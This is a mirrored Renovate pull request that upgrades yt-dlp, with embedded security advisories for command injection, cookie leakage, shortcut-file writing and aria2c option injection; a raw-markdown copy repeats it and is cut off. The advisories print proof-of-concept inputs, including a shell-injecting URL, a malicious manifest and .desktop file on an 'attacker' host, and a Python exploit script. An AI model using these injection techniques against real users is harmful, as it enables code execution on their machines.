Glitchy-Sheep/boosty-downloader
1
0
Fork 0
mirror of https://github.com/Glitchy-Sheep/boosty-downloader.git synced 2026-10-14 21:33:23 +00:00
Code Issues 8 Projects Packages Wiki Activity

[PR #92] [MERGED] Update dependency yt-dlp to v2026 [SECURITY] #105

New issue
Closed
opened 2026-10-13 19:47:20 +00:00 by bsakaguchi · 0 comments
bsakaguchi commented 2026-10-13 19:47:20 +00:00
Owner
Copy link

📋 Pull Request Information

Original PR: https://github.com/Glitchy-Sheep/boosty-downloader/pull/92
Author: @renovate[bot]
Created: 2/24/2026
Status: ✅ Merged
Merged: 8/7/2026
Merged by: @Glitchy-Sheep

Base: main ← Head: renovate/pypi-yt-dlp-vulnerability

📝 Commits (1)

  • 64239c0 Update dependency yt-dlp to v2026 [SECURITY]

📊 Changes

2 files changed (+13 additions, -13 deletions)

View changed files

📝 poetry.lock (+12 -12)
📝 pyproject.toml (+1 -1)

📄 Description

This PR contains the following updates:

Package Change Age Confidence
yt-dlp >=2025.1.26,<2026.0.0 → >=2026.7.4,<2026.8.0 age confidence

yt-dlp: Arbitrary Command Injection when using the --netrc-cmd option

CVE-2026-26331 / GHSA-g3gw-q23r-pgqm

More information

Details

Summary

When yt-dlp's --netrc-cmd command-line option (or netrc_cmd Python API parameter) is used, an attacker could achieve arbitrary command injection on the user's system with a maliciously crafted URL.

Impact

yt-dlp maintainers assume the impact of this vulnerability to be high for anyone who uses --netrc-cmd in their command/configuration or netrc_cmd in their Python scripts. Even though the maliciously crafted URL itself will look very suspicious to many users, it would be trivial for a maliciously crafted webpage with an inconspicuous URL to covertly exploit this vulnerability via HTTP redirect. Users without --netrc-cmd in their arguments or netrc_cmd in their scripts are unaffected. No evidence has been found of this exploit being used in the wild.

Patches

yt-dlp version 2026.02.21 fixes this issue by validating all netrc "machine" values and raising an error upon unexpected input.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.02.21 as soon as possible.

Users who are unable to upgrade should avoid using the --netrc-cmd command-line option (or netrc_cmd Python API parameter), or they should at least not pass a placeholder ({}) in their --netrc-cmd argument.

Details

yt-dlp's --netrc-cmd option can be used to run any arbitrary shell command to retrieve site login credentials so that the user doesn't have to store the credentials as plaintext in the filesystem. The --netrc-cmd argument is a shell command with an optional placeholder ({}). If the placeholder is present in the argument, it is replaced with the netrc "machine" value, which specifies the site for which login credentials are needed.

The netrc "machine" value is usually explicitly defined in yt-dlp's extractor code for a given site. However, yt-dlp has four extractors where the netrc "machine" value needs to be dynamically sourced from the site's hostname. And in three of those extractors (GetCourseRuIE, TeachableIE and TeachableCourseIE), wildcard matches are allowed for one or more subdomains of the hostname. This can result in a netrc "machine" value that contains special shell characters.

The --netrc-cmd argument is executed by a modified version of Python's subprocess.Popen with shell=True, which means that any special characters may be interpreted by the host shell, potentially leading to arbitrary command injection.

Here is an example of maliciously crafted URL input that exploits the vulnerability:

> yt-dlp --netrc-cmd "echo {}" "https://;echo pwned>&2;#.getcourse.ru/video"
[GetCourseRu] Executing command: echo getcourseru
WARNING: [GetCourseRu] Failed to parse .netrc: bad toplevel token 'getcourseru' (-, line 2)
[GetCourseRu] Extracting URL: https://;echo pwned>&2;#.getcourse.ru/video
[GetCourseRu] Executing command: echo ;echo pwned>&2;
pwned
[GetCourseRu] No authenticators for ;echo pwned>&2;
[GetCourseRu] video: Downloading webpage

Although only 3 of yt-dlp's extractors are directly susceptible to this attack, yt-dlp's "generic" extractor will follow HTTP redirects and try to match the resulting URL with one of the dedicated extractors. This means that any URL processed by the generic extractor could ultimately lead to a maliciously crafted URL that is matched by one of the vulnerable extractors. Hypothetically, an attacker could create a website with an inconspicuous URL and legitimate-looking media content that would serve an HTTP redirect to a maliciously crafted URL when it detects a request from yt-dlp.

References

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: File Downloader cookie leak with curl

CVE-2026-50019 / GHSA-f7j3-774f-rfhj

More information

Details

Summary

If curl is used an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's.

This is the equivalent to GHSA-v8mc-9377-rwjj for the curl downloader. The vulnerable behavior is present in yt-dlp released since 2023.09.24.

Details

At the file download stage, the cookies are passed by yt-dlp to the file downloader via --cookie. However, unless these are loaded from a file, this operation does not activate the cookie engine. As a result, curl will send cookies with requests to domains or paths for which the cookies are not scoped.

An example of a potential attack scenario exploiting this vulnerability:

  1. an attacker has crafted a malicious website with an embedded URL designed to be detected by yt-dlp as a video download. This embedded URL has the domain of a trusted site that the user has loaded cookies for, and conducts an unvalidated redirect to a target URL.
  2. yt-dlp extracts this URL and calculates the cookies which are then passed to curl.
  3. the download URL redirects to a server controlled by the attacker, to which curl forwards the user's sensitive cookie information.
Patches

yt-dlp version 2026.06.09 fixes this issue by doing the following:

  • Pass the cookies through stdin via --cookie - if curl is version 7.59 or higher.
  • Pass the cookies via --cookie /dev/fd/0 if the system supports this device file.
  • In all other cases create a temporary file, save the cookies and then pass via --cookie <file>.
Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

For users who are not able to upgrade:

  • Do not use --downloader curl.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)

CVE-2026-50023 / GHSA-c6mh-fpjc-4pr3

More information

Details

Summary

A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.

Details

The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.

Proof of Concept

1. Start a malicious server:
Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:


#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"

And host the payload.desktop file with malicious content:

[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle

2. Trigger the download:
In this case, the generic extractor triggers the exploit if the --write-subs option is used:

yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"

Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.

Patches

yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

Users who are not able to upgrade should do ALL of the following:

  • Only pass fully trusted input URLs to yt-dlp
  • Do not use the --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, or --embed-thumbnail options
  • Use --format - to interactively select download formats and validate their file extensions

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Arbitrary code execution via manifest downloads with aria2c

CVE-2026-50574 / GHSA-vx4q-3cr2-7cg2

More information

Details

Summary

If aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp.

Details

When downloading a fragmented manifest format such as an HLS or DASH stream, yt-dlp first extracts a list of all fragment URLs from the stream's manifest. If the user has selected aria2c as an external downloader, yt-dlp then constructs an input file for aria2c from the fragment URL list and passes its filepath as the argument to aria2c's -i option.

aria2c's -i (or --input-file) option allows for downloading a list of URIs from the given text file. The text file must be formatted as a list of URIs separated by newlines. aria2c's format permits configuration lines for each URI, which can contain command-line options to be given to aria2c. These optional lines follow each URI line and are signified only by leading whitespace. yt-dlp constructs the input file with these optional lines so that it's able to specify the output filename for each fragment using the out= option.

yt-dlp's utilization of the aria2c input file format presents two known attack vectors:

  1. An attacker can craft a malicious DASH manifest with one or more fragment URLs that contain &#&#8203;10;, which is the HTML escape sequence for a newline. yt-dlp interprets this escape sequence as an actual newline character when writing the fragment URLs to the aria2c input file, which allows for an attacker to inject arbitrary aria2c options into the input file. With option injection, the attacker can achieve arbitrary file writes. This attack vector is possible only via downloads of DASH formats, since their manifests are an XML format which necessitates unescaping of HTML special characters.

  2. An attacker can craft a malicious metadata response where the data parsed by yt-dlp as the title field (or any other metadata field that the user includes in their output template) contains strategically placed newlines and magnet URIs. If the user has passed the --no-windows-filename option to disable sanitization of newlines in output filenames, the attacker is able to achieve arbitrary file writes by injecting arbitrary URIs and options into the aria2c input file. This attack vector is possible via downloads of both HLS and DASH formats.

On Windows, attacker-controlled file writes can lead to immediate arbitrary code execution: the attacker could write a malicious executable file named ffmpeg.exe to the current working directory, and it could be invoked during the postprocessing stage if the user's yt-dlp.exe also resides in the current working directory.

On all platforms, attacker-controlled file writes can lead to arbitrary code execution on repeat invocations of yt-dlp: the attacker could write a yt-dlp configuration file (yt-dlp.conf) to the current working directory containing a malicious --exec argument.

Patches

yt-dlp version 2026.06.09 fixes this issue by removing support for downloading fragmented manifest formats with aria2c.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

For users who are not able to upgrade:

  • Add --downloader dash,m3u8:native to your yt-dlp command.

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp

GHSA-69qj-pvh9-c5wg

More information

Details

Summary

yt-dlp's --exec option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. %(title)s) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.

Details

Since yt-dlp version 2021.04.11, the --exec option has supported "output template syntax", which is a superset of Python's printf-style string formatting also used by the --output option. This means the user is able to pass a "command template" as an argument to the --exec option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.

yt-dlp implements a %()q conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as %()s which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. ;, &, |) to break out of the intended command and execute payload commands.

Impact

The impact is limited to users who pass an --exec command template containing unsafe conversions in their yt-dlp command or configuration file: %()s, %()a, %()r, %()j, %()S (including any of their flagged variants.)

Patches

yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an --exec command template to those known to be safe: %()d, %()i, %()f, %()q (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an --exec argument containing output template syntax.

Workarounds

This vulnerability can be fully mitigated by doing any of the following:

  • Upgrade yt-dlp to version 2026.06.09 or later
  • Only use safe conversions (e.g. %()d, %()i, %()f, %()q) in any --exec command templates
  • Do not use "output template syntax" in any --exec arguments
  • Do not use the --exec option
Proof-of-Concept
  1. An attacker sets the title of a video to a malicious payload, e.g.: video; touch pwned.txt #
  2. The victim downloads this video using yt-dlp with the --exec flag.

Reproduction steps (simulated):

  1. Create a python script poc.py to simulate the internal behavior:
import unittest
import os

from yt_dlp.postprocessor.exec import ExecPP
from yt_dlp.YoutubeDL import YoutubeDL
from yt_dlp.utils import PostProcessingError

##### Import Popen to use the REAL one for the PoC (to actually create the file)
from yt_dlp.utils import Popen as RealPopen

class TestDemonstrativePoC(unittest.TestCase):
    FILE_NAME = "PWNED.txt"

    def setUp(self):
        # Remove the file if it exists
        if os.path.exists(self.FILE_NAME):
            os.remove(self.FILE_NAME)

    def test_1_demonstrate_vulnerability_simulated(self):
        """
        Simulates the code BEFORE the fix to show what would happen.
        """
        print("\n--- TEST 1: Simulating vulnerable state ---")

        # 1. Define the vulnerable Parse Method
        def vulnerable_parse_cmd(self, cmd, info):
            # This mimics the code before my patch
            tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)
            if tmpl_dict:
                return self._downloader.escape_outtmpl(tmpl) % tmpl_dict
            return cmd

        # 2. Patch the class temporarily
        original_parse_cmd = ExecPP.parse_cmd
        ExecPP.parse_cmd = vulnerable_parse_cmd

        info = {
            'id': '1234',
            # MALICIOUS TITLE:
            # 1. 'video' gets echoed
            # 2. ; separator
            # 3. touch PWNED.txt creates the file
            # 4. # comments out the rest
            'title': f'video; touch {self.FILE_NAME} #',
            'ext': 'mp4',
            'filepath': 'video.mp4'
        }

        ydl = YoutubeDL({'verbose': False, 'quiet': True})

        try:
            print(f"[*] Payload Title: {info['title']}")
            print("[*] Executing: echo %(title)s")

            # Use the REAL Popen to actually execute shell commands
            import yt_dlp.postprocessor.exec
            original_popen_ref = yt_dlp.postprocessor.exec.Popen
            yt_dlp.postprocessor.exec.Popen = RealPopen

            pp = ExecPP(ydl, 'echo %(title)s')
            pp.run(info)

            # Restore Popen ref
            yt_dlp.postprocessor.exec.Popen = original_popen_ref

            # Check if file was created
            if os.path.exists(self.FILE_NAME):
                print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!")
            else:
                print("[?] File not created. Payload might have failed.")

        finally:
            # Restore the secure method
            ExecPP.parse_cmd = original_parse_cmd

if __name__ == '__main__':
    unittest.main()
  1. Run the script: python3 poc.py
  2. Check the directory. A file named PWNED.txt will be created, proving arbitrary command execution.
poc

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output

CVE-2026-55404 / GHSA-6v4j-43gg-vj32

More information

Details

Summary

If the --write-link, --write-url-link or --write-desktop-link options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the .url and .desktop shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user's system if the user executes the generated .url or .desktop files.

Details

The expected result of yt-dlp's --write-link, --write-url-link and --write-desktop-link options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The --write-url-link option writes a .url shortcut file for Windows, the --write-desktop-link option writes a .desktop shortcut file for Linux, and the --write-link option may write a .url file or a .desktop file depending on the user's platform.

There are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp's improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.

Scenario 1: file:// URI injection in Windows .url shortcut

If a yt-dlp user passes the --write-link or --write-url-link option to generate a Windows .url file, the URL written to the shortcut file is sourced from the downloaded media's metadata--specifically, its webpage_url value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this webpage_url value is performed if it is fed back to yt-dlp as an input URL (e.g. via the --load-info-json option), but no validation is performed before it is output to a .url shortcut file.

This lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting webpage_url value is a file:// URI. A malicious file URI could point to a remote executable, e.g. file://example.org/pwned.exe. If a Windows user double-clicks a .url file that points to this webpage_url, Windows will execute the malicious remote executable on the user's system.

Scenario 2: Shell command injection in Linux .desktop shortcut

The Linux .desktop file format is a more versatile than the Windows .url file format. It is defined by the freedesktop.org "desktop entry" file specification, and supports multiple types of shortcuts: a Link type for URLs, a Directory type for filesystem folders, and an Application type for programs or shell commands. yt-dlp outputs a desktop entry file of the Link type, using the template below:

[Desktop Entry]
Encoding=UTF-8
Name=%(filename)s
Type=Link
URL=%(url)s
Icon=text-html

The keys under the [Desktop Entry] group are separated by newlines, and the type of desktop entry is set by the value paired to the Type key.

If a yt-dlp user passes the --write-link or --write-desktop-link option to generate a desktop entry file, in addition to the webpage_url value there is a filename value that is written to the shortcut file. By default, yt-dlp will sanitize the filename value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the --no-windows-filenames option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used.

If the user passes --write-link or --write-desktop-link together with --no-windows-filenames to yt-dlp, an unsanitized filename value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting filename value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the Type of the desktop entry to Application and achieve shell command injection.

For example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:

<html>
<script type="application/ld+json">{
    "@context": "https://schema.org",
    "@type": "VideoObject",
    "name":"Stream\nType=Application\nExec=sh -c &quot;touch /tmp/pwned&quot;\n\n[newgroup]\nName=endtitle",
    "contentUrl": "https://example.org/video.mp4"
}</script>
</html>

Then, a yt-dlp user could try to download the legitimate video content from the page by running the following command:

yt-dlp --write-desktop-link --no-windows-filenames "https://example.org/123"

Which would result in a desktop entry file containing a malicious shell command:

[Desktop Entry]
Encoding=UTF-8
Name=Stream
Type=Application
Exec=sh -c "touch /tmp/pwned"

[newgroup]
Name=endtitle [123]
Type=Link
URL=%(url)s
Icon=text-html

If a user on a Linux desktop environment executes the generated .desktop file, the malicious shell command would run on the user's system. (In the above example, a /tmp/pwned file would be created in the user's filesystem.)

Patches

yt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the .desktop file generated from using the --write-desktop-link or --write-link options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)

Workarounds

It is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.

Users who are not able to upgrade should avoid using any of the --write-link, --write-url-link or --write-desktop-link options.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

yt-dlp/yt-dlp (yt-dlp)

v2026.7.4

Compare Source

v2026.6.9

Compare Source

v2026.3.17

Compare Source

v2026.3.13

Compare Source

v2026.3.3

Compare Source

v2026.2.21

Compare Source

v2026.2.4

Compare Source

v2026.1.31

Compare Source

v2026.1.29

Compare Source

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.

## 📋 Pull Request Information **Original PR:** https://github.com/Glitchy-Sheep/boosty-downloader/pull/92 **Author:** [@renovate[bot]](https://github.com/apps/renovate) **Created:** 2/24/2026 **Status:** ✅ Merged **Merged:** 8/7/2026 **Merged by:** [@Glitchy-Sheep](https://github.com/Glitchy-Sheep) **Base:** `main` ← **Head:** `renovate/pypi-yt-dlp-vulnerability` --- ### 📝 Commits (1) - [`64239c0`](https://github.com/Glitchy-Sheep/boosty-downloader/commit/64239c0c25e38b792da540e9d3d016fef3d0e776) Update dependency yt-dlp to v2026 [SECURITY] ### 📊 Changes **2 files changed** (+13 additions, -13 deletions) <details> <summary>View changed files</summary> 📝 `poetry.lock` (+12 -12) 📝 `pyproject.toml` (+1 -1) </details> ### 📄 Description This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [yt-dlp](https://redirect.github.com/yt-dlp/yt-dlp#readme) | `>=2025.1.26,<2026.0.0` → `>=2026.7.4,<2026.8.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/yt-dlp/2026.7.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/yt-dlp/2025.12.8/2026.7.4?slim=true) | --- ### yt-dlp: Arbitrary Command Injection when using the `--netrc-cmd` option [CVE-2026-26331](https://nvd.nist.gov/vuln/detail/CVE-2026-26331) / [GHSA-g3gw-q23r-pgqm](https://redirect.github.com/advisories/GHSA-g3gw-q23r-pgqm) <details> <summary>More information</summary> #### Details ##### Summary When yt-dlp's `--netrc-cmd` command-line option (or `netrc_cmd` Python API parameter) is used, an attacker could achieve arbitrary command injection on the user's system with a maliciously crafted URL. ##### Impact yt-dlp maintainers assume the impact of this vulnerability to be high for anyone who uses `--netrc-cmd` in their command/configuration or `netrc_cmd` in their Python scripts. Even though the maliciously crafted URL itself will look very suspicious to many users, it would be trivial for a maliciously crafted webpage with an inconspicuous URL to covertly exploit this vulnerability via HTTP redirect. Users without `--netrc-cmd` in their arguments or `netrc_cmd` in their scripts are unaffected. No evidence has been found of this exploit being used in the wild. ##### Patches yt-dlp version 2026.02.21 fixes this issue by validating all netrc "machine" values and raising an error upon unexpected input. ##### Workarounds It is recommended to upgrade yt-dlp to version 2026.02.21 as soon as possible. Users who are unable to upgrade should avoid using the `--netrc-cmd` command-line option (or `netrc_cmd` Python API parameter), or they should at least not pass a placeholder (`{}`) in their `--netrc-cmd` argument. ##### Details yt-dlp's `--netrc-cmd` option can be used to run any arbitrary shell command to retrieve site login credentials so that the user doesn't have to store the credentials as plaintext in the filesystem. The `--netrc-cmd` argument is a shell command with an optional placeholder (`{}`). If the placeholder is present in the argument, it is replaced with the netrc "machine" value, which specifies the site for which login credentials are needed. The netrc "machine" value is usually explicitly defined in yt-dlp's extractor code for a given site. However, yt-dlp has four extractors where the netrc "machine" value needs to be dynamically sourced from the site's hostname. And in three of those extractors (`GetCourseRuIE`, `TeachableIE` and `TeachableCourseIE`), wildcard matches are allowed for one or more subdomains of the hostname. This can result in a netrc "machine" value that contains special shell characters. The `--netrc-cmd` argument is executed by a modified version of Python's `subprocess.Popen` with `shell=True`, which means that any special characters may be interpreted by the host shell, potentially leading to arbitrary command injection. Here is an example of maliciously crafted URL input that exploits the vulnerability: ```cmd > yt-dlp --netrc-cmd "echo {}" "https://;echo pwned>&2;#.getcourse.ru/video" [GetCourseRu] Executing command: echo getcourseru WARNING: [GetCourseRu] Failed to parse .netrc: bad toplevel token 'getcourseru' (-, line 2) [GetCourseRu] Extracting URL: https://;echo pwned>&2;#.getcourse.ru/video [GetCourseRu] Executing command: echo ;echo pwned>&2; pwned [GetCourseRu] No authenticators for ;echo pwned>&2; [GetCourseRu] video: Downloading webpage ``` Although only 3 of yt-dlp's extractors are directly susceptible to this attack, yt-dlp's "generic" extractor will follow HTTP redirects and try to match the resulting URL with one of the dedicated extractors. This means that any URL processed by the generic extractor could ultimately lead to a maliciously crafted URL that is matched by one of the vulnerable extractors. Hypothetically, an attacker could create a website with an inconspicuous URL and legitimate-looking media content that would serve an HTTP redirect to a maliciously crafted URL when it detects a request from yt-dlp. ##### References - https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-g3gw-q23r-pgqm - https://nvd.nist.gov/vuln/detail/CVE-2026-26331 - https://github.com/yt-dlp/yt-dlp/releases/tag/2026.02.21 - https://github.com/yt-dlp/yt-dlp/commit/1fbbe29b99dc61375bf6d786f824d9fcf6ea9c1a #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-g3gw-q23r-pgqm](https://redirect.github.com/yt-dlp/yt-dlp/security/advisories/GHSA-g3gw-q23r-pgqm) - [https://github.com/yt-dlp/yt-dlp/commit/1fbbe29b99dc61375bf6d786f824d9fcf6ea9c1a](https://redirect.github.com/yt-dlp/yt-dlp/commit/1fbbe29b99dc61375bf6d786f824d9fcf6ea9c1a) - [https://github.com/yt-dlp/yt-dlp/releases/tag/2026.02.21](https://redirect.github.com/yt-dlp/yt-dlp/releases/tag/2026.02.21) - [https://nvd.nist.gov/vuln/detail/CVE-2026-26331](https://nvd.nist.gov/vuln/detail/CVE-2026-26331) - [https://github.com/advisories/GHSA-g3gw-q23r-pgqm](https://redirect.github.com/advisories/GHSA-g3gw-q23r-pgqm) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g3gw-q23r-pgqm) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### yt-dlp: File Downloader cookie leak with curl [CVE-2026-50019](https://nvd.nist.gov/vuln/detail/CVE-2026-50019) / [GHSA-f7j3-774f-rfhj](https://redirect.github.com/advisories/GHSA-f7j3-774f-rfhj) <details> <summary>More information</summary> #### Details ##### Summary If curl is used an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's. This is the equivalent to [GHSA-v8mc-9377-rwjj](<https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-v8mc-9377-rwjj>) for the `curl` downloader. The vulnerable behavior is present in [yt-dlp](https://redirect.github.com/yt-dlp/yt-dlp) released since 2023.09.24. ##### Details At the file download stage, the cookies are passed by yt-dlp to the file downloader via `--cookie`. However, unless these are loaded from a file, this operation does not activate the cookie engine. As a result, `curl` will send cookies with requests to domains or paths for which the cookies are not scoped. An example of a potential attack scenario exploiting this vulnerability: 1. an attacker has crafted a malicious website with an embedded URL designed to be detected by yt-dlp as a video download. This embedded URL has the domain of a trusted site that the user has loaded cookies for, and conducts an [unvalidated redirect](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html) to a target URL. 2. yt-dlp extracts this URL and calculates the cookies which are then passed to `curl`. 3. the download URL redirects to a server controlled by the attacker, to which `curl` forwards the user's sensitive cookie information. ##### Patches yt-dlp version 2026.06.09 fixes this issue by doing the following: - Pass the cookies through stdin via `--cookie -` if `curl` is version 7.59 or higher. - Pass the cookies via `--cookie /dev/fd/0` if the system supports this device file. - In all other cases create a temporary file, save the cookies and then pass via `--cookie <file>`. ##### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. For users who are not able to upgrade: - Do not use `--downloader curl`. #### Severity - CVSS Score: 6.1 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N` #### References - [https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-f7j3-774f-rfhj](https://redirect.github.com/yt-dlp/yt-dlp/security/advisories/GHSA-f7j3-774f-rfhj) - [https://github.com/yt-dlp/yt-dlp/commit/2726572520238356bcf64aba2040228648b44c82](https://redirect.github.com/yt-dlp/yt-dlp/commit/2726572520238356bcf64aba2040228648b44c82) - [https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517](https://redirect.github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517) - [https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09](https://redirect.github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50019](https://nvd.nist.gov/vuln/detail/CVE-2026-50019) - [https://github.com/advisories/GHSA-f7j3-774f-rfhj](https://redirect.github.com/advisories/GHSA-f7j3-774f-rfhj) - [https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3431.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3431.yaml) - [https://github.com/yt-dlp/yt-dlp](https://redirect.github.com/yt-dlp/yt-dlp) - [https://pypi.org/project/yt-dlp](https://pypi.org/project/yt-dlp) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-f7j3-774f-rfhj) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519) [CVE-2026-50023](https://nvd.nist.gov/vuln/detail/CVE-2026-50023) / [GHSA-c6mh-fpjc-4pr3](https://redirect.github.com/advisories/GHSA-c6mh-fpjc-4pr3) <details> <summary>More information</summary> #### Details ##### Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`. ##### Details The fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or 